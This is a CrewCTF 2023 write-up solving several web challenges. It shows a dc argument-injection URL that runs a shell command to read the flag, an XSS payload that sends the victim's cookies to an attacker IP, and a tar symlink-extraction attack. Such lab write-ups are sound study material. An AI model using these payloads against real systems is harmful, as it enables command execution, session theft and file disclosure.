CrewCTF2023-WriteUps
2023-07-11
This challenge is relatively straightforward, as there is parameter injection present in the code below.
1 | proc = subprocess.run(['dc', script_file],capture_output=True,text=True,timeout=1) |
According to the manual.
-e expr
--expression=expr
Evaluate expr as DC commands.
!
Will run the rest of the line as a system command.
Execute arbitrary expressions using expression
, and perform command injection using !
.
1 | http://sequence-gallery.chal.crewc.tf:8080/?sequence=--expression%3D%21cat%09fla*%0a |
CSP
1 | <meta http-equiv="content-security-policy" content="default-src 'none'; script-src 'unsafe-inline';"> |
1 | const params = new URLSearchParams(document.location.search.substring(1)); |
Although 0-f
seems fine, it actually refers to the index from 48 to 102 in ASCII, including uppercase letters and some symbols. With this discovery, I quickly came up with the outline of a payload.
1 | <SVG ONLOAD=I=toString;S=``[constructor][fromCharCode];a['parent']['location']['href']=`HTTP`+`://`+IP+`?`+a['parent']['document']['cookie']><IMG><IFRAME NAME=a SRCDOC=1> |
Considering CSP, in order to bring out the flag, a top-level jump such as location
needs to be used. To obtain the document
object, I injected an <iframe srcdoc=1 id=xx>
, and then used xx[parent][document]
to retrieve the document
. Next, I referenced jsfuck
and wrote a simplified version tailored to this problem.
1 | const CONSTRUCTORS={ |
However, this is unintended. The author actually intended to use HTMLAnchorElement.toString
to obtain lowercase letters, as can be seen in the following example.
1 | <A ID=A HREF=ABCDEFGHIJKLMNOPQRSTUVWXYZ:></A> |
/web-apps/src/archives
will create a directory with a UUID and save the tar file in that directory.${UUID}/archive.tar
.${UUID}/files/
directory.files
directory will be recorded in the ${UUID}/result.json
file.1 | def extract_archive(archive_path, extract_folder): |
Python’s tar
module can include symbolic links.
This challenge is similar to a challenge I encountered when I first started learning CTF. I remember that the steps for that challenge involved uploading a symbolic link xxx
that points to the www
directory, followed by uploading xxx/shell
, which would extract the shell
file to the www
directory.
This challenge is similar in that all that is needed is to replace ${UUID}/result.json
with a symbolic link that points to the flag. First, upload any tar file and record its uuid.
1 | ln -s /web-apps/src/archives/uuid xxx |
1 | # tar -tvf exp.tar |
I was unable to solve this challenge because I first consulted the Deno official manual and did not see that fetch
supports the file://
protocol, so I did not consider the file://
protocol.
You can refer to the official writeup or this link https://nanimokangaeteinai.hateblo.jp/entry/2023/07/10/063030 ↗ for more information.